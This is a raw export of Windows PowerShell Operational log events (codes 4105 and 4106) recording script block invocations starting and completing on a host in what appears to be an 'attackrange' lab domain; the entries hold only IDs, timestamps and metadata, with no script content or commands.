Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046989
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046988
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046987
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046986
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046985
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046984
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046983
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046982
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046981
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046980
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046979
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046978
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046977
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046976
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046975
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046974
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046973
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046972
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046971
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046970
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046969
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046968
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046967
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046966
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046965
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046964
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046963
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046962
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046961
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046960
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046959
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046958
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046957
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046956
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046955
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046954
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046953
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046952
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046951
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046950
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046949
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046948
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046947
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046946
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046945
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046944
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046943
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046942
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046941
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046940
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046939
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046938
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046937
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
